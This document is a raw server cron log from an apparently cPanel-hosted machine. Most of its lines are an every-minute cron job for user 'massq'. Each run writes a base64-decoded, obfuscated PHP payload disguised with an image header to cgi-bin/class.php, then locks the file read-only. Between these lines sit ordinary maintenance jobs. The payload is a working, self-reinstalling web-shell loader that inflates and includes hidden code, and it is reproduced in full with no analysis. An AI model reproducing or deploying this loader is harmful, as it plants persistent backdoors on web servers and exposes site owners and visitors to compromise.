Nov 10 02:01:01 server CROND[15487]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:01:01 server CROND[15488]: (root) CMD (run-parts /etc/cron.hourly)
Nov 10 02:01:01 server run-parts(/etc/cron.hourly)[15488]: starting 0anacron
Nov 10 02:01:01 server anacron[15500]: Anacron started on 2025-11-10
Nov 10 02:01:01 server anacron[15500]: Normal exit (0 jobs run)
Nov 10 02:01:01 server run-parts(/etc/cron.hourly)[15502]: finished 0anacron
Nov 10 02:02:01 server CROND[16417]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:03:01 server CROND[17248]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:04:01 server CROND[18065]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:05:01 server CROND[18942]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 02:05:01 server CROND[18944]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 02:05:01 server CROND[18943]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 10 02:05:01 server CROND[18945]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:05:01 server CROND[18947]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 02:06:01 server CROND[19745]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:07:01 server CROND[20608]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:08:01 server CROND[21419]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:09:01 server CROND[22242]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 02:09:01 server CROND[22243]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:10:01 server CROND[23069]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 02:10:01 server CROND[23068]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 02:10:01 server CROND[23071]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 02:10:01 server CROND[23072]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:11:01 server CROND[23873]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:12:01 server CROND[24807]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:12:01 server CROND[24808]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 02:13:01 server CROND[25639]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
